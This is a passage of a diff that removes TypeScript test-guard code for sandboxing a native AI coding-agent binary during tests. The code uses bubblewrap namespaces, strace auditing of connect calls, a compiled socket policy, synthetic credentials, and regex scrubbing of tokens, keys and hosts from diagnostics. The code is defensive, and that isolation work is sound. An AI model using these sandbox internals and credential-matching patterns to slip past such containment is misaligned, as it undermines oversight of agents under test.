named=fixturePathKey(path),finding=fixtureDescriptorHash(fd);if(finding.key!==named||fixturePathKey(path)!==named)throw Error("Fixture file replaced during inspection");return finding.hash;}finally{closeSync(fd);} -} -/** Read-only counters are proof of reuse, never an admission capability. */ -export function nativeFixtureFileFinding(path:string):{key:string;hash:string}{const key=fixturePathKey(path),hash=fileHash(path);if(fixturePathKey(path)!==key)throw Error("Fixture file changed");return Object.freeze({key,hash});} -export function nativeFixtureFindingCounts():{inspected:number;reused:number;executionByteChecks:number;executionByteFiles:number}{return {inspected:inspectedFileFindings,reused:reusedFileFindings,executionByteChecks,executionByteFiles};} - -interface SpawnContext { synchronous?:boolean;detached?:boolean; cwd?: string; env?: Record } -function resolveExecutable(command: string, options: SpawnContext): string { - const cwd = resolve(options.cwd ?? process.cwd()); - const path = options.env?.PATH ?? process.env.PATH; - let found:string|null=null; - if(!command.includes("/")){ - try{found=Bun.which(command,{cwd,PATH:path});}catch(error){ - // Bun.which can throw an uncoded length error before reaching the kernel. - // Skip only if the kernel independently confirms ENAMETOOLONG. - try{statSync(resolve(cwd,command));}catch(metadata){if((metadata as NodeJS.ErrnoException).code==="ENAMETOOLONG")throw metadata;} - throw error; - } - } - const candidate = command.includes("/") ? resolve(cwd, command) : found ?? resolve(cwd, command); - // Inspect the accessible path first: realpath of an anonymous /proc fd can - // return pipe:[N] or socket:[N], which is not itself a filesystem path. - if (!statSync(candidate).isFile()) throw Object.assign(new Error("not a regular executable candidate"),{code:"NOT_REGULAR_FILE"}); - return realpathSync(candidate); -} - -/** Every argv path remains a candidate, including the value after the first '='. */ -function nativeExecutableCandidates(command: string, args: readonly unknown[]): string[] { - return [command, ...args.flatMap(value => typeof value !== "string" ? [] : - !value.startsWith("-") ? [value] : value.includes("=") ? [value.slice(value.indexOf("=") + 1)] : [])]; -} - -export function isNativeClaude(command: string, args: readonly unknown[] = [], options: SpawnContext = {}): boolean { - return guardTiming("classification",()=>isNativeClaudeInspected(command,args,options)); -} -function isNativeClaudeInspected(command:string,args:readonly unknown[],options:SpawnContext):boolean { - if (discoveryFailed) refuse("installed SDK runtime discovery failed"); - const managedDirectories=nativeManagedCandidateDirectories([command,...args.filter((value):value is string=>typeof value==="string")],false); - for (const value of nativeExecutableCandidates(command, args)) { - const candidate=resolve(options.cwd??process.cwd(),managedDirectories.get(value)??value); - if([...opaqueStageSnapshots.keys()].some(opaque=>within(opaque,candidate)))refuse("opaque stage node intersects an executable candidate"); - let path: string; - try { path = resolveExecutable(managedDirectories.get(value)??value, options); } catch(error) { - if(["ENOENT","ENAMETOOLONG","ENOTDIR","ELOOP","NOT_REGULAR_FILE"].includes((error as NodeJS.ErrnoException).code??""))continue; - nativeReceipt({kind:"native-offline-candidate-metadata",head:nativeTestHead(),phase:"resolve",errno:["EACCES","EPERM","ENOTDIR","ELOOP","ENAMETOOLONG","ENOENT"].includes((error as NodeJS.ErrnoException).code??"")?(error as NodeJS.ErrnoException).code:"unknown"}); - refuse("native executable metadata is unavailable"); - } - if(!isAbsolute(path))continue; - if (installedRuntimes.some(runtime => runtime.path === path)) return true; - // Size eliminates ordinary fixture scripts and interpreters before hashing. - try { - const access=managedDirectories.has(value)?candidate:path; - const metadata = statSync(access); - if (!metadata.isFile()) continue; - const size = metadata.size; - const candidates = installedRuntimes.filter(runtime => {try{return statSync(runtime.path).size===size;}catch(error){if((error as NodeJS.ErrnoException).code==="ENOENT")return false;throw error;}}); - if (candidates.length && candidates.some(runtime => fileHash(runtime.path) === fileHash(access))) return true; - } catch(error) { if(["ENOENT","ENAMETOOLONG"].includes((error as NodeJS.ErrnoException).code??""))continue;refuse("native executable metadata is unavailable"); } - } - return false; -} - -let retainedBoundaryCount=0; -let fixedBoundaryReasons:Set|undefined; -interface QualificationEvidence {probe:"bwrap"|"strace"|"socket-policy";exitCode:number|null;signal:string|null;stderr:string} -export function nativeQualificationEvidence(probe:QualificationEvidence["probe"],result?:{exitCode?:number|null;signalCode?:string|number|null;stderr?:unknown},error?:unknown):QualificationEvidence { - const signal=String(result?.signalCode??""); - return {probe,exitCode:Number.isInteger(result?.exitCode)?result!.exitCode!:null,signal:/^SIG[A-Z0-9]+$/.test(signal)?signal:null,stderr:compilerDiagnostic(String(result?.stderr??error??"qualification exited without stderr")).slice(0,1024)}; -} -/** Retain only source-defined refusal messages; arbitrary diagnostic text is omitted. */ -export function nativeRetainedBoundaryRecord(reason:string,mountEvidence?:Record,qualification?:QualificationEvidence){ - if(!fixedBoundaryReasons){ - fixedBoundaryReasons=new Set(); - try{for(const match of readFileSync(new URL(import.meta.url),"utf8").matchAll(/\brefuse\(\s*("(?:\\.|[^"\\])*")/g))fixedBoundaryReasons.add(JSON.parse(match[1]!));}catch{/* Unknown source refuses diagnostic text too. */} - } - const rawPhase=process.argv.find(value=>value.startsWith("--default-phase="))?.slice(16)??process.argv.find(value=>value.startsWith("--shared-phase="))?.slice(15); - const phase=["fresh","warm","strict","controls"].includes(rawPhase??"")?rawPhase!:"unknown"; - const evidence=mountEvidence?{sourceKind:["fixed-system","descriptor","fixture-declared","unregistered-source","product-checkpoint","product-keeper","product-scratch","product-private-index","fixture-brain"].includes(String(mountEvidence.sourceKind))?String(mountEvidence.sourceKind):"unknown",targetKind:["isolated-config","fixture-temporary","runtime-or-fixture"].includes(String(mountEvidence.targetKind))?String(mountEvidence.targetKind):"unknown",metadataError:["ENOENT","EACCES","EPERM","ENOTDIR","ELOOP","UNKNOWN"].includes(String(mountEvidence.metadataError))?String(mountEvidence.metadataError):"UNKNOWN",...(Number.isSafeInteger(mountEvidence.mount)&&Number(mountEvidence.mount)>=0?{mount:Number(mountEvidence.mount)}:{})}:undefined; - return {kind:"native-offline-boundary-retained",head:nativeTestHead(),phase,stage:"boundary-admission",success:false,nativeLaunched:false, - reason:fixedBoundaryReasons.has(reason)?compilerDiagnostic(redactNativeDiagnosticAssignments(reason)).slice(0,512):"unclassified native boundary refusal",...(evidence?{mountEvidence:evidence}:{}),...(qualification?{qualification}:{})}; -} -function retainNativeBoundaryRefusal(reason:string,mountEvidence?:Record,qualification?:QualificationEvidence):void { - const root=process.argv.find(value=>value.startsWith("--native-identity-startup-audit="))?.slice("--native-identity-startup-audit=".length); - if(!root||retainedBoundaryCount>=16)return; - try{ - const info=lstatSync(root);if(resolve(root)!==root||realpathSync(root)!==root||!info.isDirectory()||info.uid!==nativeKernelIdentity().uid||(info.mode&0o077)!==0)throw Error("invalid private diagnostic root"); - const text=JSON.stringify(nativeRetainedBoundaryRecord(reason,mountEvidence,qualification));if(Buffer.byteLength(text)>4096)throw Error("boundary diagnostic exceeds bound"); - writeFileSync(join(root,`native-boundary-failure-${process.pid}-${retainedBoundaryCount++}.json`),text,{flag:"wx",mode:0o600}); - }catch{try{nativeReceipt({kind:"native-fixture-boundary-retention-failure",head:nativeTestHead(),success:false,reason:"private boundary snapshot unavailable"});}catch{/* Refusal must still terminate if its receipt channel has closed. */}} -} -function refuse(reason: string, mountEvidence?: Record, compilerStderr?: string,qualification?:QualificationEvidence): never { - denied++; - retainNativeBoundaryRefusal(reason,mountEvidence,qualification); - // SDK callers may await an event that a refused launch can never emit. - // End this failed test invocation after synchronous callers see the error. - setImmediate(() => process.exit(1)); - // Classifications and mount evidence omit arguments/settings/credentials. - // Compiler diagnostics are bounded and scrubbed before reaching this receipt. - nativeReceipt({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: nativeTestHead(), ...(mountEvidence ? { mountEvidence } : {}), ...(compilerStderr !== undefined ? { compilerStderr } : {}),...(qualification?{qualification}:{}) }); - throw new Error(`Offline native Claude refused before launch: ${reason}`); -} - -export function refuseNativeClaude(command: string, args: readonly unknown[] = [], options: SpawnContext = {}): void { - if (isNativeClaude(command, args, options)) refuse("OS isolation has not been qualified"); -} - -/** Qualification uses the guard's startup tool search path, never fixture PATH. */ -function spawnQualificationProbe(argv:string[]) { - const allowed=[ - ["bwrap","--unshare-all","--die-with-parent","--new-session","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","/usr/bin/true"], - ["strace","-I","1","--kill-on-exit","-qq","-e","trace=connect","-e","raw=connect","/usr/bin/true"], - [compileSocketPolicy(),"--probe",nativeTestHead()], - ]; - if(!allowed.some(row=>JSON.stringify(row)===JSON.stringify(argv)))refuse("native qualification probe argv differs"); - // Fixed guard probes retain O1 without re-entering the public spawn interceptor - // and inheriting a receipt pathname inaccessible after the fixture's UID drop. - const executable=argv[0]!.includes("/")?argv[0]!:metadataWhich(argv[0]!,{PATH:GUARD_TOOL_PATH}); - if(!executable)refuse("native qualification probe tool is unavailable"); - const command=[executable,...argv.slice(1)];metadataProbeMaskPlans.add(command); - const plan=nativeUnknownBoundary(command,{env:{PATH:GUARD_TOOL_PATH},synchronous:true}); - try{plan.beforeLaunch();return metadataSpawnSync(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe",timeout:5000});} - finally{plan.dispose();} -} -function qualify():void {return guardTiming("qualification",qualifyInspected);} -function qualifyInspected(): void { - // Positive native proof is reserved for disposable hosted runners. Namespace - // availability on a developer machine never authorizes a native test launch. - if (process.env.GITHUB_ACTIONS !== "true" || process.env.RUNNER_ENVIRONMENT !== "github-hosted") { - refuse("isolation unavailable: positive native proof requires a hosted runner"); - } - if (qualified) return; - let result: ReturnType; - try { result = spawnQualificationProbe(["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--ro-bind", "/usr", "/usr", - "--symlink", "usr/bin", "/bin", "--symlink", "usr/lib", "/lib", "--symlink", "usr/lib64", "/lib64", "/usr/bin/true"]); } - catch(error) { refuse("OS namespace setup failed",undefined,undefined,nativeQualificationEvidence("bwrap",undefined,error)); } - if (result.exitCode !== 0) refuse("OS namespace setup failed",undefined,undefined,nativeQualificationEvidence("bwrap",result)); - let trace: ReturnType; - try { trace = spawnQualificationProbe(["strace", "-I", "1", "--kill-on-exit", "-qq", "-e", "trace=connect", "-e", "raw=connect", "/usr/bin/true"]); } - catch(error) { refuse("native connection audit setup failed",undefined,undefined,nativeQualificationEvidence("strace",undefined,error)); } - if (trace.exitCode !== 0) refuse("native connection audit setup failed",undefined,undefined,nativeQualificationEvidence("strace",trace)); - bwrapExecutable = Bun.which("bwrap",{PATH:GUARD_TOOL_PATH}) ?? refuse("OS namespace setup failed"); - straceExecutable = Bun.which("strace",{PATH:GUARD_TOOL_PATH}) ?? refuse("native connection audit setup failed"); - const policy = compileSocketPolicy(); - let socketProof: ReturnType; - try { socketProof = spawnQualificationProbe([policy, "--probe", nativeTestHead()]); } - catch(error) { refuse("native socket lifetime policy unavailable",undefined,undefined,nativeQualificationEvidence("socket-policy",undefined,error)); } - if (socketProof.exitCode !== 0) refuse("native socket lifetime policy unavailable",undefined,undefined,nativeQualificationEvidence("socket-policy",socketProof)); - qualified = true; -} - -export const RTK_SOCKET_POLICY = "/usr/local/bin/brain-native-connect"; -export const NAMESPACE_SOCKET_POLICY = "/tmp/brain-native-policy/native-connect"; -// Isolated preload fixtures copy only the guard closure. Load the existing -// receipt scrubbers only for diagnostics, and never fall back to raw text. -function diagnosticRedactors() { - const require = createRequire(import.meta.url); - return { - createRedactor: (require("../packages/compute-boat/src/redact.ts") as typeof import("../packages/compute-boat/src/redact")).createRedactor, - redactCredentials: (require("../packages/ui-server/src/activity/runtime-status.ts") as typeof import("../packages/ui-server/src/activity/runtime-status")).redactCredentials, - }; -} -function compilerDiagnostic(value: string): string { - try { - const {createRedactor,redactCredentials}=diagnosticRedactors(); - const redactor = createRedactor(undefined); - for (const [key, secret] of Object.entries(process.env)) if (/secret|token|password|credential|api.?key/i.test(key) && secret) redactor.add(secret); - let text = Buffer.from(value).subarray(0, 4096).toString("utf8"); - if (Buffer.byteLength(value) > 4096) text = text.slice(0, Math.max(0, text.lastIndexOf("\n"))); - return redactNativeDiagnosticMessage(redactCredentials(redactor.text(text))).slice(0, 4096); - } catch { return "[diagnostic redaction unavailable]"; } -} -/** Test-only source diagnostics preserve member expressions and file basenames. */ -export function redactNativeDiagnosticMessage(text:string):string { - return text - .replace(/https?:\/\/[^\s<>]+/gi,"[redacted URL]") - .replace(/\b(?:Bearer\s+|sk-[\w-]*|(?:api[_-]?key|token|password|secret)\s*[=:]\s*)[^\s,;]+/gi,"[redacted credential]") - .replace(/\b(?:cookie|authorization)\s*[:=]\s*[^\n]+/gi,"[redacted credential]") - .replace(/\b(?:\d{1,3}\.){3}\d{1,3}\b|\[(?:[a-f0-9]*:){2,}[a-f0-9]*\]|\blocalhost(?::\d+)?\b/gi,"[redacted host]") - .replace(/\b(?:[a-z0-9-]+\.)+(?:com|net|org|edu|gov|mil|int|io|dev|app|ai|co|uk|de|fr|us|ca|au|test|invalid|example|local)\b(?![\w.-])/gi,"[redacted host]") - .replace(/(?:\/[\w.-]+){2,}/g,"[redacted path]") - .replace(/\b[A-Z]:\\[^\s<>]+/gi,"[redacted path]"); -} - -/** Prepare before a fixture hides compiler inputs such as /etc/alternatives. */ -export function nativeNamespacePolicy(): { mounts: string[]; args: string[] } { - const policy = compileSocketPolicy(); - // The fixture hides /etc, including Ubuntu's cc alternative. Preserve only - // that compiler link so a child can build the fixed guard helpers there. - const compiler=metadataWhich("cc",{PATH:GUARD_TOOL_PATH}); - if(!compiler)refuse("native socket policy compiler unavailable"); - return { mounts: ["--dir", "/tmp/brain-native-policy", "--ro-bind", policy, NAMESPACE_SOCKET_POLICY, - "--dir","/etc/alternatives","--symlink",realpathSync(compiler),"/etc/alternatives/cc"], - args: ["--native-policy-view", `--native-socket-policy-sha256=${fileHash(policy)}`] }; -} - -/** Compile in the outer test process; namespace re-entry receives only this artifact. */ -export function compileSocketPolicy(): string { - if (socketPolicyExecutable) return socketPolicyExecutable; - if (process.argv.includes("--native-rtk-view") || process.argv.includes("--native-policy-view")) { - const artifact = process.argv.includes("--native-policy-view") ? NAMESPACE_SOCKET_POLICY : RTK_SOCKET_POLICY; - const digest = process.argv.find(value => value.startsWith("--native-socket-policy-sha256="))?.split("=")[1]; - try { - const info = lstatSync(artifact); - if (!/^[0-9a-f]{64}$/.test(digest ?? "") || !info.isFile() || (info.mode & 0o222) || fileHash(artifact) !== digest) throw Error("invalid artifact"); - } catch { return refuse("native socket policy artifact is unavailable or changed"); } - return socketPolicyExecutable = artifact; - } - const directory = mkdtempSync(join(tmpdir(), "odysseus-native-policy-")); - const executable = join(directory, "native-connect"); - let compiled: ReturnType; - try { compiled = metadataSpawnSync(["cc", "-O2", "-std=c11", "-Wall", "-Wextra", "-Werror", - join(import.meta.dir, "native-proof/native-connect.c"), "-o", executable], - { env: { PATH: "/usr/bin:/bin", LANG: "C" }, stdout: "pipe", stderr: "pipe", timeout: 30000 }); } - catch (error) { rmSync(directory, { recursive: true, force: true }); return refuse("native socket policy compiler unavailable", undefined, compilerDiagnostic(String(error))); } - if (compiled.exitCode !== 0) { rmSync(directory, { recursive: true, force: true }); return refuse("native socket policy compilation failed", undefined, compilerDiagnostic(compiled.stderr?.toString() ?? "(no compiler stderr)")); } - chmodSync(executable, 0o555); chmodSync(directory, 0o555); - socketPolicyExecutable = executable; - process.prependOnceListener("exit", () => { chmodSync(directory, 0o700); rmSync(directory, { recursive: true, force: true }); }); - return executable; -} - -/** Kernel policy persists across native exec/fork and emulates only the pinned relay connection. */ -function nativeSocketCommand(command: string[], source: string, allowed: string, turnProxy?:{source:string;allowed:string},title?:ReturnType): string[] { - const origin = ownedSocketOrigin(source), route = scriptedRoute.getStore(); - if (!origin || !route || normalizedOrigin(origin) !== normalizedOrigin(route.origin)) refuse("native socket policy lacks scripted authority"); - const info = lstatSync(realpathSync(source), { bigint: true }); - const proxyArgs=turnProxy?nativeTurnProxyArguments(turnProxy.source,turnProxy.allowed):[]; - const argv=[compileSocketPolicy(), "--head", nativeTestHead(), "--socket", allowed, "--device", String(info.dev), - "--inode", String(info.ino), "--allowed", allowed,...proxyArgs,...title?.args??[],"--", ...command]; - return argv; -} - -/** Broker args are minted only for an already-owned scripted proxy service. */ -export function nativeTurnProxyArguments(source:string,allowed:string):string[]{ - const route=scriptedRoute.getStore(),peer=ownedSocketOrigin(source); - if(!peer||!route||normalizedOrigin(peer)!==normalizedOrigin(route.origin))refuse("turn proxy lacks scripted authority"); - const socket=lstatSync(realpathSync(source),{bigint:true}); - return ["--turn-proxy",allowed,String(socket.dev),String(socket.ino)]; -} - -function systemMounts(): string[] { - const argv: string[] = []; - for (const path of SYSTEM) { - if (!existsSync(path)) continue; - if (lstatSync(path).isSymbolicLink()) argv.push("--symlink", readlinkSync(path), path); - else argv.push("--ro-bind", path, path); - } - // No host account database or managed configuration enters the native view. - for (const path of SYSTEM_FILES) { - if (existsSync(path)) argv.push("--ro-bind", realpathSync(path), path); - } - return argv; -} - -/** Runtime source and dependencies, without shared tmp, Git or host IPC. */ -function testRuntimeMounts(): string[] { - return ["packages", "node_modules", "package.json", "tsconfig.json", "bunfig.toml"].flatMap(name => { - const path = join(ROOT, name); - return existsSync(path) ? ["--ro-bind", path, path] : []; - }); -} - -/** Read-only fixture tool directories, without exposing their sibling storage. */ -export function fixtureToolView(env: Record, cwd: string, home?: string): { mounts: string[]; path: string } { - const roots = new Set(), storage = new Set(); - for (const input of [cwd, home]) { - if (!input) continue; - try { - const path = realpathSync(input); - storage.add(path); - if (!within(tmpdir(), path) || path === tmpdir()) continue; - roots.add(path); - const parent = dirname(path), info = statSync(parent); - if (parent !== tmpdir() && within(tmpdir(), parent) && info.uid === nativeKernelIdentity().uid && (info.mode & 0o077) === 0) roots.add(parent); - } catch { /* A worker's fresh runtime home may not exist on the host. */ } - } - const directories = new Set(); - for (const input of env.PATH?.split(":") ?? []) { - if (!input) continue; - try { - const path = realpathSync(resolve(cwd, input)), info = statSync(path); - if (!info.isDirectory()) continue; - // Never expose a common fixture ancestor: it can hold a sentinel or - // unrelated storage outside HOME. Existing HOME/cwd mounts stay writable. - if (!storage.has(path) && [...storage].some(root => within(path, root))) continue; - const source = [join(ROOT, "packages"), join(ROOT, "tests/fixtures"), join(ROOT, "scripts/fixtures")].some(root => within(root, path)); - const temporary = [...roots].some(root => within(root, path)) && info.uid === nativeKernelIdentity().uid; - if (source || temporary) directories.add(path); - } catch { /* Missing PATH entries do not grant filesystem authority. */ } - } - const parts=env.PATH?.split(":")??[]; - const preserve=parts.length>0&&new Set(parts).size===parts.length&&parts.every(input=>{ - if(!input.startsWith("/")||resolve(input)!==input)return false; - try { - const path=realpathSync(input);if(!statSync(path).isDirectory())return false; - // Only declared distro aliases may differ from their resolved spelling. - if(path!==input&&!SYSTEM.includes(input))return false; - const system=SYSTEM.some(root=>{try{return within(realpathSync(root),path);}catch{return false;}}); - return system||directories.has(path)&&!storage.has(path); - }catch{return false;} - }); - return { mounts: [...directories].filter(path => !storage.has(path)).flatMap(path => ["--ro-bind", path, path]), - path: preserve?env.PATH!:[...new Set([...directories, dirname(process.execPath), "/usr/bin", "/bin"])].join(":") }; -} - -interface AuditReceipt { kind: "native-offline-audit"; head: string; nativeLaunched: boolean; success: boolean; reason?: string; deniedConnects: number } -interface Boundary { nativeExecuted():boolean; beforeLaunch(): void; argv: string[]; env: Record; dispose(): void; receipt(): AuditReceipt } - -const generatedCredentials = new Map(); -/** Create and mark a clearly synthetic value; ambient strings cannot self-mark. */ -export function nativeSyntheticCredential(key: "ANTHROPIC_API_KEY" | "ANTHROPIC_AUTH_TOKEN" | "CLAUDE_CODE_OAUTH_TOKEN"): string { - if (!["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN"].includes(key)) refuse("invalid synthetic credential kind"); - const value = `${key === "CLAUDE_CODE_OAUTH_TOKEN" ? "sk-ant-oat01-" : ""}offline-odysseus-${crypto.randomUUID()}`; - generatedCredentials.set(value, key); return value; -} -/** Retain only public synthetic credentials, including their absent/both cases. */ -function syntheticCredentials(env: Record): Record { - const result: Record = {}; - for(const key of ["ANTHROPIC_API_KEY","ANTHROPIC_AUTH_TOKEN","CLAUDE_CODE_OAUTH_TOKEN"])if(env[key]==="")result[key]=""; - if (env.ANTHROPIC_API_KEY) result.ANTHROPIC_API_KEY = /^sk-ant-api03-([a-z])\1{94}AA$/.test(env.ANTHROPIC_API_KEY) ? env.ANTHROPIC_API_KEY : "offline-fixture"; - if (/^sk-ant-oat01-([a-z])\1{94}AA$/.test(env.CLAUDE_CODE_OAUTH_TOKEN ?? "")) result.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN!; - if (/^sk-ant-declared-t{60}$/.test(env.ANTHROPIC_AUTH_TOKEN ?? "")) result.ANTHROPIC_AUTH_TOKEN = env.ANTHROPIC_AUTH_TOKEN!; - for (const [key, value] of Object.entries(env)) if (value && generatedCredentials.get(value) === key) result[key] = value; - for(const [key,value] of scriptedRoute.getStore()?.fixtureCredentials??[])if(env[key]===value)result[key]=value; - return result; -} - -/** Raw connect arguments are pointers/numbers: no addresses, paths or payloads. */ -export function deniedNativeConnects(trace: string): number { - return trace.split("\n").filter(line => /(?:connect\(|connect resumed>).*?= -1 (?:EACCES|EPERM|ENETUNREACH|EHOSTUNREACH|ECONNREFUSED|ENOENT)\b/.test(line)).length; -} - -/** Socket failures come from raw kernel records, never the native stderr stream. */ -export function deniedNativeSocketOperations(trace:string):number { - return trace.split("\n").filter(line=>/^\s*(?:[0-9]+\s+)?(?:(?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4)\(|<\.\.\. (?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4) resumed>).*?= -1 (?:EACCES|EPERM|ENETUNREACH|EHOSTUNREACH|ECONNREFUSED|ENOENT)\b/.test(line)).length; -} - -/** A successful exec trace for the expected program is the launch evidence. */ -export function nativeExecObserved(trace: string, paths: readonly string[]): boolean { - return nativeExecTrace(trace).events.some(event=>paths.includes(event.path)); -} - -const AUDIT_ACL = `import os,struct,sys -operation,uid,directory,log=sys.argv[1:] -uid=int(uid) -def acl(owner,worker): - return struct.pack('path.startsWith("/")&&within(resolve(root),resolve(path))); - let device="dev"; - if(within("/dev",path)){ - const name=path.slice(5); - if(/^(?:stdin|stdout|stderr|null|urandom|random|zero|full|tty|fd\/[0-9]+|pts\/[0-9]+)$/.test(name))device="dev:"+name; - else if(name==="shm"||name.startsWith("shm/"))device="dev:shm"+(name==="shm"?"":"/[entry]"); - } - const label=root?`fixture-${fixtureRoots.indexOf(root)}:${resolve(path).slice(resolve(root).length).replace(/^\//,"")||"."}`: - !path.startsWith("/")?"relative":within("/proc",path)?"proc":within("/sys",path)?"sys":within("/dev",path)?device:within("/etc",path)?"etc": - [ROOT,...SYSTEM].some(root=>within(root,path))?"runtime-root":["/home","/root",process.env.HOME].some(root=>root&&root!=="/"&&within(root,path))?"home-outside-fixture":"other-absolute"; - return label.replace(/[\u0000-\u001f\u007f]/g,"?"); -} -export function labelNativeMountErrors(text:string,fixtureRoots:readonly string[]=[]):string { - return text.replace(/(bwrap:[^\n]*? at )([^\n]+?)(: (?:Read-only file system|Permission denied|No such file or directory))/g, - (_match,start,path,end)=>start+"[mount-target "+nativeDiagnosticPathLabel(path,fixtureRoots)+"]"+end); -} -/** Keep final read-only policy, after all guard-owned mount targets exist. */ -export function deferNativeReadOnlyRemounts(argv:string[],bwrap:number):string[] { - const deferred:string[]=[]; - for(let i=bwrap+1;i tail.length) tail = tail.includes("\n") ? tail.slice(tail.indexOf("\n") + 1) : ""; - const labels=new Map(); - tail = tail.split("\n").map(line => { - line=line.replace(/\bexecve(?:at)?\(.*$/, "execve([arguments omitted])"); - if(!/^\s*(?:[0-9]+\s+)?open(?:at2?|)?\(/.test(line)||!/= -1 [A-Z]+\b/.test(line))return line; - return line.replace(/"(?:\\.|[^"\\])*"/,quoted=>{ - let path:string;try{path=JSON.parse(quoted);}catch{return '"other-absolute"';} - const label=nativeDiagnosticPathLabel(path,fixtureRoots); - const key=`NATIVEOPENLABEL${labels.size}END`;labels.set(key,label);return JSON.stringify(key); - }); - }).join("\n"); - const redactor = createRedactor(undefined); - for (const [key, secret] of Object.entries(process.env)) if (/secret|token|password|credential|api.?key/i.test(key) && secret) redactor.add(secret); - let safe=redactNativeDiagnosticMessage(redactCredentials(redactor.text(tail))); - for(const [key,label] of labels)safe=safe.replaceAll(key,label); - return safe.slice(-65536); - } catch { return "[diagnostic redaction unavailable]"; } -} - -export function auditNativeLaunch(argv: string[], expected: readonly string[], cleanup: () => void, workerUid?: number, restrictedProbe = false) { - let sharedAudit:ReturnType; - try{sharedAudit=borrowNativeAudit(reason=>refuse(reason));}catch(error){return refuse(error instanceof Error?error.message:"native outer audit ownership unavailable");} - const diagnosticFixtureRoots=[...(scriptedRoute.getStore()?.fixtureRoots??[])]; - const diagnosticRoot = workerUid === undefined ? undefined : process.argv.find(value => value.startsWith("--native-identity-startup-audit="))?.slice("--native-identity-startup-audit=".length); - if (diagnosticRoot) { - const info = lstatSync(diagnosticRoot); - if (!info.isDirectory() || info.uid !== nativeKernelIdentity().uid || (info.mode & 0o077)) refuse("native startup audit storage is not private"); - } - const directory = mkdtempSync(join(tmpdir(), "odysseus-native-audit-")); - const log = join(directory, "connect.log"); - const liveStarts=new Map(); - writeFileSync(log, "", { mode: 0o600 }); - // Holding the original inode prevents unlink/recreate from recycling it. - let auditFd:number|undefined=openSync(log,constants.O_RDONLY|constants.O_NOFOLLOW|0o2000000); - const closeAudit=()=>{if(auditFd!==undefined){closeSync(auditFd);auditFd=undefined;}}; - let accessPrepared = false; - const owner = nativeKernelIdentity().uid, directoryStamp = lstatSync(directory, { bigint: true }), logStamp = lstatSync(log, { bigint: true }); - const storageIntact = () => { - try { - const folder = lstatSync(directory, { bigint: true }), file = lstatSync(log, { bigint: true }); - const pinned=auditFd===undefined?undefined:fstatSync(auditFd,{bigint:true}); - return pinned?.nlink===1n&&pinned.dev===logStamp.dev&&pinned.ino===logStamp.ino&&folder.isDirectory() && file.isFile() && folder.uid === BigInt(owner!) && file.uid === BigInt(owner!) - && folder.dev === directoryStamp.dev && folder.ino === directoryStamp.ino && file.dev === logStamp.dev && file.ino === logStamp.ino - && (folder.mode & 0o7777n) === (accessPrepared ? 0o730n : 0o700n) - && (file.mode & 0o7777n) === (accessPrepared ? 0o620n : 0o600n) - && (!accessPrepared || (workerUid !== undefined && auditAcl("check", workerUid, directory, log))); - } catch { return false; } - }; - let receipt: AuditReceipt | undefined; - const finish = (): AuditReceipt => { - if (receipt) return receipt; - try { - if (!storageIntact()) { - denied++; - receipt = { kind: "native-offline-audit", head: nativeTestHead(), nativeLaunched: false, success: false, reason: "native audit storage integrity failed", deniedConnects: 0 }; - nativeReceipt({...receipt}); return receipt; - } - let trace = ""; - try { trace = sharedAudit?sharedAudit.read():readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } - // Wider diagnostics may contain syscall-looking filenames; only actual - // connect/exec records participate in the security receipt. - const auditTrace = diagnosticRoot ? trace.split("\n").filter(line => /^\s*(?:[0-9]+\s+)?(?:execve\(|(?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4)\(|<\.\.\. (?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4) resumed>)/.test(line)).join("\n") : trace; - const execEvidence=nativeExecTrace(trace); - const payloadExecuted = execEvidence.events.some(event=>expected.includes(event.path)); - const nativeLaunched = !restrictedProbe && payloadExecuted; - const execCounters={...execEvidence.counters,expected:execEvidence.events.filter(event=>expected.includes(event.path)).length}; - nativeReceipt({kind:"native-offline-exec-evidence",head:nativeTestHead(),...execCounters}); - if (!payloadExecuted) denied++; - receipt = { kind: "native-offline-audit", head: nativeTestHead(), nativeLaunched, success: payloadExecuted, - ...(restrictedProbe?{mode:"restricted-probe",payloadExecuted}:{}), - ...(!payloadExecuted ? { reason: restrictedProbe?"restricted probe exec was not observed":"native exec was not observed" } : {}), deniedConnects: deniedNativeConnects(auditTrace) }; - if (diagnosticRoot) { - for(const failure of nativeStartupOpenStages(trace,expected,process.execPath))nativeReceipt({kind:"native-fixture-startup-open",head:nativeTestHead(),...failure}); - for(const metadata of nativeDeviceMetadata(trace))nativeReceipt({kind:"native-fixture-device-metadata",head:nativeTestHead(),...metadata}); - try { writeFileSync(join(diagnosticRoot, `native-startup-audit-${directoryStamp.ino}.json`), - JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace,diagnosticFixtureRoots),deviceMetadata:nativeDeviceMetadata(trace),failedOpenStages:nativeStartupOpenStages(trace,expected,process.execPath), verdict:receipt,execCounters }), { flag: "wx", mode: 0o600 }); } - catch { nativeReceipt({kind:"native-fixture-startup-audit-failure",head:nativeTestHead(),success:false,reason:"startup audit snapshot unavailable"}); } - } - const socketDenials=deniedNativeSocketOperations(auditTrace); - if(socketDenials)nativeReceipt({kind:"native-offline-socket-denial",head:nativeTestHead(),success:false,reason:"native socket operation denied",count:socketDenials}); - nativeReceipt({...receipt}); - return receipt; - } finally { sharedAudit?.dispose();closeAudit();cleanup(); rmSync(directory, { recursive: true, force: true }); } - }; - // -o otherwise makes strace ignore SIGTERM; refusal/cancellation must kill - // both the tracer and its entire traced sandbox, closing inherited pipes. - return { argv: sharedAudit?[...argv]:[straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", ...(diagnosticRoot?["-e","abbrev=!newfstatat,statx"]:[]), "-e", diagnosticRoot ? 